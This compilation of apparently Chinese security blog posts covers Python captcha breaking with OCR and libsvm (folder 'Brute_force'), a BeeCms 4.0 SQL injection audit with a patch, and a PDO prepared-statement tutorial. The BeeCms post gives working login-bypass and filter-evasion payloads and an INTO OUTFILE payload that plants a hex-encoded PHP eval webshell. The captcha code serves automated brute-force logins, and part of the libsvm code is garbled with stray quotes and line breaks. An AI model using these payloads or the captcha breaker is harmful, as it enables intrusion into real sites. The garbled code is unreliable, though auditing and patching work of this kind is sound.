python 验证码识别之libsvm(二)


0x00前言

上一节已经做到了图像简单识别,传送门。但是效果并不理想,所以有了此篇解决之道。
libsvm是模型识别的软件库。学习参考资料:http://blog.sina.com.cn/s/blog_5dd2e9270100wrfa.html;此链接资料深入浅出,很容易明白libsvm的作用和用法。简单表述就是将已有的标签和特征库保存为模板,然后用待未知的数据比对,得到最相近的匹配结果。
模板的表示方法如下:
Label 1:value 2:value 3:value …..
其中Label为识别的标签,value值为特征码。
我们要识别的验证码为0~9的数字字符,所以Label标签是0~9的数字。特征码怎么弄呢,这里我使用的办法是,将验证码进行切割成单个数字图片,然后统一大小,将图片像素中的黑白像素值(1,0)作为特征码。生成后的特征库模板文本如下图:

那么此篇我们要做的就很清楚了,依次做如下几点:
1、将验证码图片切割单个数字图片;
2、将数字图片生成特征库;
3、将待识别图片处理成特征模式匹配特征库;

0x01 libsvm安装

因为我是用python编写,所以用到的是python中的svm库。安装svm库之前需要先安装pip。svm库下载地址:https://www.lfd.uci.edu/~gohlke/pythonlibs/#libsvm
下载之前一定要下载与自己系统和python版本匹配的版本,不然安装不上。
我下载的是:libsvm-3.22-cp36-cp36m-win32.whl,cp36表示python版本为3.6,win32表示32位windows系统。下载好后,将文件复制到pip目录中,使用pip install libsvm-3.22-cp36-cp36m-win32.whl命令进行安装。
网络中python安装svm库的方法也很多,都尝试过,靠上面的方法得以安装成功。

0x02 验证码切割

此处验证码切割的思路是,遍历像素点,通过访问到1个黑色像素点,然后访问黑色像素点周围的黑色像素点,再访问黑色像素点周围黑色像素点的周围的黑色的像素点。听着有点绕,就是一个迭代。我通过数组来实现,将访问过的黑色像素点放入1个数组(visited),同时将周围像素点放入另1个数组(neighbor)。将黑色像素点a添加进visited的同时,访问a这个点周围的8个像素点,如果8个像素点中有黑色像素点,那么查看黑色像素点是否已存在visited数组中,如果不存在则加入neighbor数组。下一个遍历点从neighbor数组中取值,从neighbor数组中取1个像素点就删掉1个,直到neighbor数组为空,则表示相邻的黑色元素已遍历完毕。
通过此种方法则遍历完所有相邻的黑色像素点,得到它们的坐标值。然后通过它们x和y的最大坐标和最小坐标,得到它们的像素区域,通过这个区域来进行切割字符。实现代码如下:

result=[]
visit=[]
area=[]
area_0=[]
neighbour_visit = []

#列取数字,字母
for y in range(out.height):
    for x in range(out.width):
        if(out.getpixel((x,y))):
            pass
        else:
            point_char(out,x,y)
#根据第一个字符点,找出字符的区域
def point_char(img,x,y):
    c=[]
    d=[]
    global result
    global visit
    #邻居点的位置
    neighbour=[(x,y-1),(x,y+1),(x+1,y),(x-1,y),(x+1,y+1),(x+1,y-1),(x-1,y+1),(x-1,y-1)]
    #将当前点加入访问数组中
    visit.append((x,y))
    for a,b in neighbour:
        if (not(img.getpixel((a,b))) and (a,b) not in visit):
            neighbour_visit.append((a,b))
        else:
            pass
    if(neighbour_visit):
        m,n=neighbour_visit.pop()
        point_char(img,m,n)
    else:
        if(visit):
            for a,b in visit:
                c.append(a)
                d.append(b)
            visit = []
        result.append((min(c),min(d),max(c),max(d)))
        return True

虽然这样是能裁剪,但是还有问题存在比如2个数字验证码靠的太近,或者干扰线太粗,贯穿2个数字验证码的时候。就成一坨了,所以我们还得对这样的继续分割,我这里使用的是从图片中间切割,效果不算很好,但是能用。切割字符代码如下:

#裁剪相连字符
if (len(area)==4):
    pass
else:
    for i in range(4):
        x,y,x1,y1=area[i]
        if(x1-x)>15:
            a=(x+x1)//2
            area[i]=(a,y,x1,y1)
            area.insert(i+1,(x,y,a,y1))
        else:
            pass

由于裁剪过后,字符切割数组乱序,我也不知道为什么乱序。所以又写了从新调整顺序的函数,代码如下:

#对数组排序
def sort(area):
    c = []
    d = []
    i = 0
    for area_0 in area:
        c.append(area_0[0])
    for i in range(4):
        min_0=min(tuple(c))
        index = c.index(min_0)
        c[index]=100
        d.append(area[index])
    return d
area=sort(area)

现在我们看下执行效果:

还是很不错的,本来21这2个字符是被连着的,被我从中间分开了。作为单身狗,我就是这么可恶。

0x03 libsvm识别

我们把字符切割好过后,下一步就是做我们的特征库了。得将图片做成文本形式的特征库,这个特征库的做法,我在前言说了,就不累述了。我将50个字符图片切割成200个字符后,分别放入0~9的文件夹中,作为特征库使用,如下图所示:


下一步就是通过代码将这些所有的图片生成svm形式的txt特征库,代码如下:

train_txt()#建立特征库
test_txt()#将识别图片转为特征模型
n,m=svm_read_problem(dir+'\\train.txt')#train.txt为特征库文档
yt,xt=svm_read_problem(dir+'\\test.txt')#test.txt为待识别特征
model=svm_train(n,m)#建立特征库
p_label,p_acc,p_val=svm_predict(yt,xt,model)#对待识别特征进行特征识别,其中p_label为识别结果
print(p_label)

n,m=svm_read_problem(dir+'\\train.txt')
#建立测试模型
def train_txt():
    dir = 'D:\Desktop\Brute_force\\train'
    test = open('train.txt', 'w')
    for i in range(10):
        dir_1=dir+'\'+str(i)#打开字符目录D:\Desktop\Brute_force\1
        files=os.listdir(dir_1)
        for file in files:#遍历图片,输出test.txt模型
            test.write(str(i)+'
') #输出lable
            file_img=dir_1+'
\'+file
    #        print(file_img)
            img = PIL.Image.open(file_img)#打开图片文件
            img=img.resize((14,15))
            img = img.convert('
L')  # 将图片转为灰度图
            table = get_bin_table()
            out = img.point(table, '
1')  # 将图片转为二值图
            x=0#index值
            for a in range(out.width):
                for b in range(out.height):
                    test.write(str(x))
                    x+=1
                    test.write('
:'+str(out.getpixel((a,b)))+' ')
            test.write('
\n')
        dir_1=dir
def test_txt():
    dir = '
D:\Desktop\Brute_force\\test'
    test = open('
test.txt', 'w')
    files=os.listdir(dir)
    for file in files:
        dir_1=dir+'
\'+file
        img=PIL.Image.open(dir_1)
        img = img.resize((14, 15))
        img = img.convert('
L')  # 将图片转为灰度图
        table = get_bin_table()
        out = img.point(table, '
1')  # 将图片转为二值图
        test.write('
0 ')
        x=0
        for a in range(out.width):
            for b in range(out.height):
                test.write(str(x))
                x += 1
                test.write('
:' + str(out.getpixel((a, b))) + ' ')
        test.write('
\n')
    dir_1 = dir

上面的代码可以分为以下几步:
1、建立特征库:train_txt()函数,特征保存为train.txt;
2、将待识别验证码转为特征文本test_txt()函数;
3、通过如下2个语句,生成特征库模板;
n,m=svm_read_problem(dir+’\\train.txt’)
model=svm_train(n,m)
4、通过如下语句,生成待识别特征:
yt,xt=svm_read_problem(dir+’\\test.txt’)
5、得到识别结果:
p_label,p_acc,p_val=svm_predict(yt,xt,model)#对待识别特征进行特征识别,其中p_label为识别结果

0x04 结果测试

到这里,我们已经结束了。测试一下识别结果吧。我这里选择如下验证码:

我们可以看到,人为识别都是比较困难的,但是还是能分辨出为数字2782。
那么我们的svm组选手的答案是什么呢。

完全正确。经过测试,此验证正确率在90%以上。并且我所建立的特征库只有50多个,如果特征库再大一些,正确率会更大。但是90%多已经够用了,不用为了那剩余的百分之几,去建立很大的特征库。

后记

因为此为学习文章,仅供学习者参考。作为自我学习笔记,以作以后翻阅,请勿用将技术用作不法途径。

python 验证码识别之图片处理(一)

0x00前言

验证码是一种分辨人为还是程序的一种技术手段,同时也是防爆破攻击等安全攻击的有效手段。但是目前互联网中大多数采用的图形验证码(字母+数字)型已经不堪重任,不能真正做到防御程序操作。我们今天要讨论的就是,如何通过python语言,识别图形验证码。
要做到正确识别图形验证码,我分为二个部分,此篇为第一部分,通过此部分已可初步识别干扰线较少的验证码。第二部分为模型识别。
一、图片处理
1.找到验证码链接地址,批量下载验证码图片;
2.将验证码图片做灰度处理;
3.将图片继续做二值化处理;
4.对图片降噪处理;
5.对图片简单识别;

0x01验证码下载

我使用的phpok的CMS,验证码画风如下:

通过查询源文件,找到了验证码链接地址:http://127.0.0.1/api.php?c=vcode&_noCache=0.9594889015497636

知道了验证码地址,用python批量下载验证码图片保存到本地。代码如下:

#!C:\Users\Administrator.4XDE8CT2DNB1LTZ\AppData\Local\Programs\Python\Python36-32\
import urllib.request
import http.cookiejar   #cookiejar实例
import os
import image

#目标网址
url="http://127.0.0.1/api.php?c=vcode&_noCache=0.4322337056724854"
#请求的包头
header={"User-Agent": "Mozilla/5.0 (Windows NT 6.1; rv:60.0) Gecko/20100101 Firefox/60."}
#获得目标站点的Request的对象实例
request=urllib.request.Request(url,headers=header)


#声明一个CookieJar对象实例来保存cookie,cookie值在cookie.txt中
cookie=http.cookiejar.FileCookieJar('cookie.txt')
#通过cookie处理器处理CookieJar对象
handle=urllib.request.HTTPCookieProcessor(cookie)
#通过handle来构建opener
opener=urllib.request.build_opener(handle)

#创建验证码图片保存目录
file_path="D:\Desktop\Brute_force\imgdir"
if not os.path.exists(file_path):
    os.makedirs(file_path)
#保存的文件名
for n in range(1,10000):
    # 通过opener打开request对象
    response = opener.open(request)

    file_name=n
    file_suffix=".png"
    filename='{}{}{}{}'.format(file_path,os.sep,file_name,file_suffix)
#将获取图片内容以二进制形式保存到文件中
    f=open(filename,'wb')
    f.write(response.read())

下载下来的保存本地地址是“D:\Desktop\Brute_force\imgdir”,保存好的验证码如下。

0x02图片处理

验证码并不能直接识别,因为此验证码中有干扰点(图片中的各种大小颜色的点点)和干扰线(横七竖八各种粗细的线)来增加验证码识别难度。为的是避免被机器识别。但是我们可以通过降噪和二值化进行处理。

0x02图片降噪前准备

图片降噪之前需要先对图片做2个处理:
1.转为灰度图;
2.转为二进制图;
原图如下:

先对图片做灰度处理,代码如下:

image=PIL.Image.open(imgname)#imgname为图片物理路径
imgry=image.convert('L') #将图片转为灰度图

转换后如下图,可以明显看到彩色已经转换成了灰色图。

#二值化表
def get_bin_table(threshold=140):
    table=[]
    for i in range(256):
        if i<threshold:
            table.append(0)
        else:
            table.append(1)
    return table
table=get_bin_table()
out=imgry.point(table,'1') #将图片转为二值图

转换后如下图,

到这里,我们看到图片已经黑白分明了。像素点中空白处为数字1,黑色点为数字0表示。

0x02图片降噪处理

在降噪处理之前,先看看降噪原理。下图为二值图模拟表示图:

降噪过程可以通过遍历像素点,确认黑色像素点周围的黑色像素个数来确定是噪点还是正常字符,如果黑色像素点周围都没有其他黑色像素点,则可以确定为噪点,将这个黑色像素点转换为白色。鉴于图片有边界,可以将图片分为3部分。
1.4个顶点(周围像素点3个);
2.4条边(周围像素点5个);
3.剩余点(周围像素点8个);
具体的代码实现如下:

#去除噪点函数9域
def sum_9_region(img,x,y):
#获取当前像素点的值
        curl_pixel=img.getpixel((x,y))
        width=img.width
        height=img.height

#如果为空表区域,则不处理,1表示空白
        if curl_pixel==1:
            return 1

        elif y==0:#第一行
            if x==0:#左顶点
                sum=img.getpixel((x,y)) \
                + img.getpixel((x,y+1)) \
                + img.getpixel((x+1,y)) \
                + img.getpixel((x+1,y+1))
                if(4-sum)<3:
                    img.putpixel((x,y),1)
            elif x==width-1:#右上顶点
                sum=img.getpixel((x,y)) \
                + img.getpixel((x-1,y)) \
                + img.getpixel((x,y+1)) \
                + img.getpixel((x-1,y+1))
                if(4-sum)<3:
                    img.putpixel((x, y), 1)
            else:#最上非顶点,6邻域
                sum=img.getpixel((x-1,y)) \
                + img.getpixel((x-1,y+1)) \
                + img.getpixel((x,y)) \
                + img.getpixel((x,y+1)) \
                + img.getpixel((x+1,y)) \
                + img.getpixel((x+1,y+1))
                if(6-sum)<6:
                    img.putpixel((x, y), 1)
        elif y==height-1:#最下面一行
                if x==0:#左下顶点
                    #中心点旁边3个点
                    sum=img.getpixel((x,y)) \
                    + img.getpixel((x+1,y)) \
                    + img.getpixel((x+1,y-1)) \
                    + img.getpixel((x,y-1))
                    if(4-sum)<4:
                        img.putpixel((x, y), 1)
                elif x==width-1:#右下顶点
                    sum=img.getpixel((x,y)) \
                    + img.getpixel((x,y-1)) \
                    + img.getpixel((x-1,y)) \
                    + img.getpixel((x-1,y-1))
                    if(4-sum)<3:
                        img.putpixel((x, y), 1)
                else:#最下非顶点,6邻域
                    sum=img.getpixel((x,y))
                    + img.getpixel((x-1,y)) \
                    + img.getpixel((x+1,y)) \
                    + img.getpixel((x,y-1)) \
                    + img.getpixel((x-1,y-1)) \
                    + img.getpixel((x+1,y-1))
                    if(6-sum)<7:
                        img.putpixel((x, y), 1)
        else:  # y不在边界
            if x == 0:  # 左边非顶点
                sum = img.getpixel((x, y - 1)) \
                  + img.getpixel((x,y)) \
                  + img.getpixel((x, y + 1)) \
                  + img.getpixel((x + 1, y - 1)) \
                  + img.getpixel((x + 1, y)) \
                  + img.getpixel((x + 1, y + 1))
                #如果空白数太多,则置换为空
                if(6 - sum)<6:
                    img.putpixel((x, y), 1)
            elif x == width - 1:  # 右边非顶点
            # print('%s,%s' % (x, y))
                sum = img.getpixel((x, y - 1)) \
                  + img.getpixel((x,y)) \
                  + img.getpixel((x, y + 1)) \
                  + img.getpixel((x - 1, y - 1)) \
                  + img.getpixel((x - 1, y)) \
                  + img.getpixel((x - 1, y + 1))

                if(6 - sum)<6:
                    img.putpixel((x, y), 1)
            else:  # 具备9领域条件的
                sum = img.getpixel((x - 1, y - 1)) \
                  + img.getpixel((x - 1, y)) \
                  + img.getpixel((x - 1, y + 1)) \
                  + img.getpixel((x, y - 1)) \
                  + img.getpixel((x,y)) \
                  + img.getpixel((x, y + 1)) \
                  + img.getpixel((x + 1, y - 1)) \
                  + img.getpixel((x + 1, y)) \
                  + img.getpixel((x + 1, y + 1))
                #如果9格中有超过4格为空,则全部为空
                if(9 - sum)<5:
                    img.putpixel((x, y), 1)
        return img
for x in range(out.width):
   for y in range(out.height):
        sum_9_region(out,x,y)
out_1=out.convert('L')

转换后如下图所示,黑色噪点已经1个都没有了,降噪成功。

0x03图片识别

图片降噪完成,这里可以识别了,我们通过pytesseract库中的image_to_string函数识别此图片。实现代码如下:

f1=pytesseract.image_to_string(out_1)#out_1为降噪图片对象
print(f1)

运行后如下图,正确识别。

本篇所有代码如下:

#-*-coding:UTF-8-*-
import os
import PIL.Image
#import cv2
import pytesseract
import sys
sys.setrecursionlimit(1000000)


#得到本地验证码图片地址
img_path="D:\Desktop\Brute_force\imgdir"
img_name=2
img_suffix=".png"
imgname='{}{}{}{}'.format(img_path,os.sep,img_name,img_suffix)

#对数组排序
def sort(area):
    c = []
    d = []
    i = 0
    for area_0 in area:
        c.append(area_0[0])
    for i in range(4):
        min_0=min(tuple(c))
        index = c.index(min_0)
        c[index]=100
        d.append(area[index])
    return d


#二值化表
def get_bin_table(threshold=140):
    table=[]
    for i in range(256):
        if i<threshold:
            table.append(0)
        else:
            table.append(1)
    return table

#循环找到相邻黑点
def loop_black(img,x,y):
    offsets=[(1,0),(-1,0),(0,-1),(0,1)]#邻居节点
    if img.getpixel((x,y))==0:
        visted.append([x,y])
        a_xpixel.append(x)
        b_ypixel.append(y)
    for x_offsets,y_offsets in offsets:
            x_neighbor,y_neighbor=x+x_offsets,y+y_offsets
            if (x_neighbor,y_neighbor) in visted:
                continue
            elif (img.getpixel((x_neighbor,y_neighbor)))==0:
                    visted.append([x_neighbor,y_neighbor])
                    a_xpixel.append(x)
                    b_ypixel.append(y)
    i=visted.index([x,y])
    if i==len(visted):
        xmin=min(a_xpixel)
        xmax=max(a_xpixel)
        ymin=min(b_ypixel)
        ymax=max(b_ypixel)
        return xmin,xmax,ymin,ymax


#去除噪点函数9域
def sum_9_region(img,x,y):
#获取当前像素点的值
        curl_pixel=img.getpixel((x,y))
        width=img.width
        height=img.height

#如果为空表区域,则不处理,1表示空白
        if curl_pixel==1:
            return 1

        elif y==0:#第一行
            if x==0:#左顶点
                sum=img.getpixel((x,y)) \
                + img.getpixel((x,y+1)) \
                + img.getpixel((x+1,y)) \
                + img.getpixel((x+1,y+1))
                if(4-sum)<3:
                    img.putpixel((x,y),1)
            elif x==width-1:#右上顶点
                sum=img.getpixel((x,y)) \
                + img.getpixel((x-1,y)) \
                + img.getpixel((x,y+1)) \
                + img.getpixel((x-1,y+1))
                if(4-sum)<3:
                    img.putpixel((x, y), 1)
            else:#最上非顶点,6邻域
                sum=img.getpixel((x-1,y)) \
                + img.getpixel((x-1,y+1)) \
                + img.getpixel((x,y)) \
                + img.getpixel((x,y+1)) \
                + img.getpixel((x+1,y)) \
                + img.getpixel((x+1,y+1))
                if(6-sum)<6:
                    img.putpixel((x, y), 1)
        elif y==height-1:#最下面一行
                if x==0:#左下顶点
                    #中心点旁边3个点
                    sum=img.getpixel((x,y)) \
                    + img.getpixel((x+1,y)) \
                    + img.getpixel((x+1,y-1)) \
                    + img.getpixel((x,y-1))
                    if(4-sum)<4:
                        img.putpixel((x, y), 1)
                elif x==width-1:#右下顶点
                    sum=img.getpixel((x,y)) \
                    + img.getpixel((x,y-1)) \
                    + img.getpixel((x-1,y)) \
                    + img.getpixel((x-1,y-1))
                    if(4-sum)<3:
                        img.putpixel((x, y), 1)
                else:#最下非顶点,6邻域
                    sum=img.getpixel((x,y))
                    + img.getpixel((x-1,y)) \
                    + img.getpixel((x+1,y)) \
                    + img.getpixel((x,y-1)) \
                    + img.getpixel((x-1,y-1)) \
                    + img.getpixel((x+1,y-1))
                    if(6-sum)<7:
                        img.putpixel((x, y), 1)
        else:  # y不在边界
            if x == 0:  # 左边非顶点
                sum = img.getpixel((x, y - 1)) \
                  + img.getpixel((x,y)) \
                  + img.getpixel((x, y + 1)) \
                  + img.getpixel((x + 1, y - 1)) \
                  + img.getpixel((x + 1, y)) \
                  + img.getpixel((x + 1, y + 1))
                #如果空白数太多,则置换为空
                if(6 - sum)<6:
                    img.putpixel((x, y), 1)
            elif x == width - 1:  # 右边非顶点
            # print('%s,%s' % (x, y))
                sum = img.getpixel((x, y - 1)) \
                  + img.getpixel((x,y)) \
                  + img.getpixel((x, y + 1)) \
                  + img.getpixel((x - 1, y - 1)) \
                  + img.getpixel((x - 1, y)) \
                  + img.getpixel((x - 1, y + 1))

                if(6 - sum)<6:
                    img.putpixel((x, y), 1)
            else:  # 具备9领域条件的
                sum = img.getpixel((x - 1, y - 1)) \
                  + img.getpixel((x - 1, y)) \
                  + img.getpixel((x - 1, y + 1)) \
                  + img.getpixel((x, y - 1)) \
                  + img.getpixel((x,y)) \
                  + img.getpixel((x, y + 1)) \
                  + img.getpixel((x + 1, y - 1)) \
                  + img.getpixel((x + 1, y)) \
                  + img.getpixel((x + 1, y + 1))
                #如果9格中有超过4格为空,则全部为空
                if(9 - sum)<5:
                    img.putpixel((x, y), 1)
        return img

#根据第一个字符点,找出字符的区域
def point_char(img,x,y):
    c=[]
    d=[]
    global result
    global visit
    #邻居点的位置
    neighbour=[(x,y-1),(x,y+1),(x+1,y),(x-1,y),(x+1,y+1),(x+1,y-1),(x-1,y+1),(x-1,y-1)]
    #将当前点加入访问数组中
    visit.append((x,y))
    for a,b in neighbour:
        if (not(img.getpixel((a,b))) and (a,b) not in visit):
            neighbour_visit.append((a,b))
        else:
            pass
    if(neighbour_visit):
        m,n=neighbour_visit.pop()
        point_char(img,m,n)
    else:
        if(visit):
            for a,b in visit:
                c.append(a)
                d.append(b)
            visit = []
        result.append((min(c),min(d),max(c),max(d)))
        return True

image=PIL.Image.open(imgname)
imgry=image.convert('L') #将图片转为灰度图

table=get_bin_table()
out=imgry.point(table,'1') #将图片转为二值图

point=[]
#获取图片中的噪点坐标,并加入point[]元组

for x in range(out.width):
   for y in range(out.height):
        sum_9_region(out,x,y)
out_1=out.convert('L')
#图像显示
#out_1.show()

result=[]
visit=[]
area=[]
area_0=[]
neighbour_visit = []

#列取数字,字母
for y in range(out.height):
    for x in range(out.width):
        if(out.getpixel((x,y))):
            pass
        else:
            point_char(out,x,y)
#去重坐标
for m in result:
    if len(m)>1:
        if m in area:
            pass
        else:
            area.append(m)
    else:
        area.append(m)
#输出字母坐标
#print(area)
#裁剪相连字符
if (len(area)==4):
    pass
else:
    for i in range(4):
        x,y,x1,y1=area[i]
        if(x1-x)>15:
            a=(x+x1)//2
            area[i]=(a,y,x1,y1)
            area.insert(i+1,(x,y,a,y1))
        else:
            pass


area=sort(area)

img_path="D:\Desktop\Brute_force\\test"
for i in range(4):
    region=out_1.crop(area[i])
    fl_name=str(i)+"_"+str(img_name)+".jpg"
    region.save(img_path+'\'+fl_name)
#    imgname = '
{}{}{}'.format(img_path, os.sep, fl_name)
#    img=PIL.Image.open(imgname)
# 图像显示
#    img.show()
f1=pytesseract.image_to_string(out_1)
print(f1)

0x04后续

这里,难道还需要继续吗?答案是yes。上面的pytesseract的转换只能简单识别,我们看如下降噪图:

字符明显是2111,我们来看看pytesseract的识别结果:

差别太大了,这样的结果比比皆是,正确识别率大概为10%,识别率太低。所以就需要第二篇(使用libsvm精准识别)。
参考资料:
https://www.cnblogs.com/qqandfqr/p/7866650.html

BeeCms代码审计之SQL注入与防御

0x00 前言

我在seebug中看到有BeeCms SQL注入漏洞的记录,漏洞版本是BeeCms的4.0,漏洞时间是2016年,但是都没有给出详细的修复方案。于是到官网一看,BeeCms最新版还是4.0。这。。。这勾起了我试一试的欲望。

0x01 SQL注入验证

首先是黑盒测试,我们来到后台登录页面,用户名输入(admin’),密码随意输入,输入正确验证码,得到结果如下图所示,直接报错了,还爆出了整条语句,这已经实锤SQL注入了。

我们现在继续验证一下,将用户名输入(admin’or’1’=’1),密码任意输入,得到结果如下图所示,正确执行,SQL注入漏洞实锤。

0x02 审计代码

通过/admin/login.php路径,来到login.php文件,找到登录代码如下:

elseif($action=='ck_login'){
    global $submit,$user,$password,$_sys,$code;
    $submit=$_POST['submit'];
    $user=fl_html(fl_value($_POST['user']));
    $password=fl_html(fl_value($_POST['password']));
    $code=$_POST['code'];
    if(!isset($submit)){
        msg('请从登陆页面进入');
    }
    if(empty($user)||empty($password)){
        msg("密码或用户名不能为空");
    }
    if(!empty($_sys['safe_open'])){
        foreach($_sys['safe_open'] as $k=>$v){
        if($v=='3'){
            if($code!=$s_code){msg("验证码不正确!");}
        }
        }
        }
    check_login($user,$password);
   
}

我们从代码中看到user参数经过了2个函数的过滤(fl_value和fl_html),查找到2个函数的定义如下所示:

function fl_value($str){
    if(empty($str)){return;}
    return preg_replace('/select|insert | update | and | in | on | left | joins | delete |\%|\=|\/\*|\*|\.\.\/|\.\/| union | from | where | group | into |load_file
|outfile/i'
,'',$str);
}
define('INC_BEES','B'.'EE'.'SCMS');
function fl_html($str){
    return htmlspecialchars($str);
}

其中fl_value用于防御SQL注入,fl_html用于防御XSS漏洞。其中fl_html是没有问题的,问题在于fl_value函数,此函数漏掉了SQL注入中最关键的符号’,并且将关键字置换为空的做法是可以绕过的。如 select可用成seleselectct,将关键字插入关键字中,当关键字被置换为空后,留下来的还是关键字。

0x03 漏洞利用

此漏洞的利用,可SQL注入通过路径直接导出小马,也可进行盲注。但是盲注过程因为验证码的关系,不能自动化处理,只能手动猜解。最好的利用方式还是直接导出小马。直接导出文件,有2个问题待解决,1、得到网站的本地目录;2、因为XSS过滤的关系,<>符号会被转义。
先解决第1个问题,在我测试导出文件过程中,得到了SQL警告信息,得到相关路径,如下图

测试导出文件的语句为(admin’ in%to outf%ile ‘d:/d.txt’; #),将语句输入用户名处,密码随意,正确的验证码,然后提交,即可得到上面的警告信息,得到物理路径。
第2个问题可以通过hex的方法,将php一句话木马转义后插入文件中。
语句为(admin’ uni union on selselectect null,null,null,null,0x3c3f70687020406576616c28245f504f53545b615d293b203f3e in%to outoutfilefile ‘E:\\php,jsp\\phpStudy\\WWW\\BEES_V4.0_R_20160525\\a.php’;#),执行过后,如期得到a.php文件。
然后通过”菜刀”连接小马即可。

SQL注入修补

说了这么多,这才是重点。因为都没有网络中并没有给出详细的修补方案。修补方法如下:
找到/includes/fun.php文件,搜索fl_value定义函数代码,将如下fl_value函数复制替换掉原来的即可:

function fl_value($str){
    if(empty($str)){return;}
    return preg_replace('/select|\'|insert | update | and | in | on | left | joins | delete |\%|\=|\/\*|\*|\.\.\/|\.\/| union | from | where | group | into |load_file
|outfile/i'
,'_',$str);
}

参考链接

https://www.ohlinge.cn/php/beescms_sqli.html
https://bbs.ichunqiu.com/thread-13606-1-1.html

用PDO预编译预防SQL注入

0x00 前言

SQL注入长期霸占OWASP榜榜首,无数的网站程序倒在它的脚下。我们一般采用置换SQL注入关键字来进行防御,但是往往因为漏掉一两个注入关键字而功亏一篑。有没有其他更好的办法进行防御呢?答案是有的,PDO预编译。

PDO是PHP中的一个对象,它不同之处在于可以预处理,然后传入查询参数,避免SQL注入的产生。

0x01 PDO开启

PHP版本小于5.3版本,pdo开启需要到php.ini配置文件中,将

extension=php_pdo.dll

前面的注释符;去掉,即可开启PDO。

0x02 PDO初体验

通过我的简单PDO实用编码,我们看到,用到了PDO对象,将代码保存为pdo.php。

<?php
$servername="localhost";
$username="root";
$password="tangping";
$dbname="monxin";
try{
    $conn=new PDO("mysql:host=$servername;dbname=$dbname",$username,$password);
    $sql="select * from monxin_index_user where `username`='".$_GET['a']."'";
    $result=$conn->query($sql)->fetch();
    foreach($result as $key=>$value){
        echo $key."=>".$value;
        echo "<br>";
    }
}
    catch(PDOException $e)
    {
        echo "Error:".$e->GetMessage();
    }
?>

我们通过pdo.php?a=monxin_admin来查询我们的数据(大家可以要根据自己存储的数据库数据,修改查询语句,和修改参数a的值),查询结果如下图:

我们试一试能不能正常防SQL注入,我们在a=monxin_admin后面加入(‘or’1’=’1),结果如下图所示,并没有做到防SQL,怎么回事,到底哪里有问题。

我们来到PDO官方文档,查找到query()描述如下:PDO::query() executes an SQL statement in a single function call, returning the result set (if any) returned by the statement as a PDOStatement object.  (大意是执行SQL语句,结果返回为PDOStatement对象)。但是结果并没有做到防SQL注入。

PDO能防SQL注入难道不是真的?

0x03 PDO防注入的正确姿势

PDO是可以防注入的,不过正确姿势应该是3步走:

1.使用pdo::prepare()函数进行预处理SQL语句;

2.绑定参数到预处理语句中;

3.获取执行结果;

什么是prepare()函数?为什么要绑定参数?绑定什么参数?我们来看看官方的操作,

PDO::prepare Prepares a statement for execution and returns a statement object(准备执行语句并返回一个statement对象),看似平平,其实就是关键所在,准备执行,也就是不执行。我们来看官方的例子,我们可以看到这个SQL语句中有?号,不是完整的SQL语句,需要参数的位置用?代替。执行时在传入参数,除了通过execute()函数直接传外。我们还可以通过PDOStatement::bindValue函数进行绑定参数,使用代码如下代码注释中。

<?php
/* Execute a prepared statement by passing an array of values */
$sth = $dbh->prepare('SELECT name, colour, calories
    FROM fruit
    WHERE calories < ? AND colour = ?'
);
$sth->execute(array(150, 'red'));
/*使用bindValue函数实现绑定参数*/
/*$sth->bindValue(1,150);*/
/*$sth->bindValue(2,'red')*/
$red = $sth->fetchAll();
$sth->execute(array(175, 'yellow'));
$yellow = $sth->fetchAll();
?>

通过如上学习,我们重新编写了代码,新的代码如下图

<?php
$servername="localhost";
$username="root";
$password="tangping";
$dbname="monxin";
try{
    $conn=new PDO("mysql:host=$servername;dbname=$dbname",$username,$password);
    $sql="select * from monxin_index_user where username=?";
    $res=$conn->prepare($sql);
    $res->bindValue(1,$_GET['a']);
    $res->execute();
    $result=$res->fetch();
    foreach($result as $key=>$value){
        echo $key."=>".$value;
        echo "<br>";    }
}
    catch(PDOException $e)
    {
        echo "Error:".$e->GetMessage();
    }
?>

执行结果如下图,正确执行了

我们试试SQL注入语句,注入语句并没有正确执行,防SQL注入成功。

0x04 总结

我们知道PDO可以自带防注入,但不是使用了PDO对象就可以防注入的。重点是需要用到预编译,用到PDO:prepare函数先预编译语句,再传入参数,再执行。

学艺不精,有错误的地方,多多指点,不胜感激。